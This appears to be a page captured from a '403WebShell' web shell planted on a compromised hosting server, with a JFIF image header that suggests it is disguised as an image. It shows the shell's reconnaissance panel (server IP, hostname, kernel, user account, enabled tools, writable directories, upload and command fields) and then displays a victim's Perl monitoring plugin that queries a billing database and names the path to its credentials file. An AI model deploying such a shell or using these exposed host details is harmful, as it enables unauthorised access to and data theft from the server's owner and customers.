����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.144.162.109
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib64/nagios/plugins/extra/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/nagios/plugins/extra/check_pn_export
#!/usr/bin/perl

use DBI;
use English;

my $config = '/etc/icinga2/plinc/.my.pn_export_plugin.cnf';
if ( !-f $config ) {
    print "Credentials config file not found!\n";
    exit 3;
}
my $result;

# connect to MySQL database
my $dbh = DBI->connect(
    "DBI:mysql:dbname=servers_registrar"
      . ";mysql_read_default_file=$config"
      . ';mysql_read_default_group=client',
    undef, undef,
    {
        PrintError => 0,
        RaiseError => 1,
        AutoCommit => 1,
    }
);

# query data from the links table
query_links($dbh);

# disconnect from the MySQL database
$dbh->disconnect();

sub query_links {

    # query from the links table

    my ($dbh) = @_;
    my $sql
      = "SELECT COUNT(*) FROM servers_registrar.logs_cart WHERE `imported` = 0 AND `update_date` <= (now() - INTERVAL 2 DAY) AND `result` = 1 AND `payment_method` <> 'Balance'";
    my $sth = $dbh->prepare($sql);

    # execute the query
    $sth->execute();

    while ( my @row = $sth->fetchrow_array() ) {
        $result = $row[0];
    }
    $sth->finish();
}

if ( $result != 0 ) {
    print "Error: found $result not exported invoices\n";
    exit 2;
}
else {
    print "OK: found $result not exported invoices\n";
    exit 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit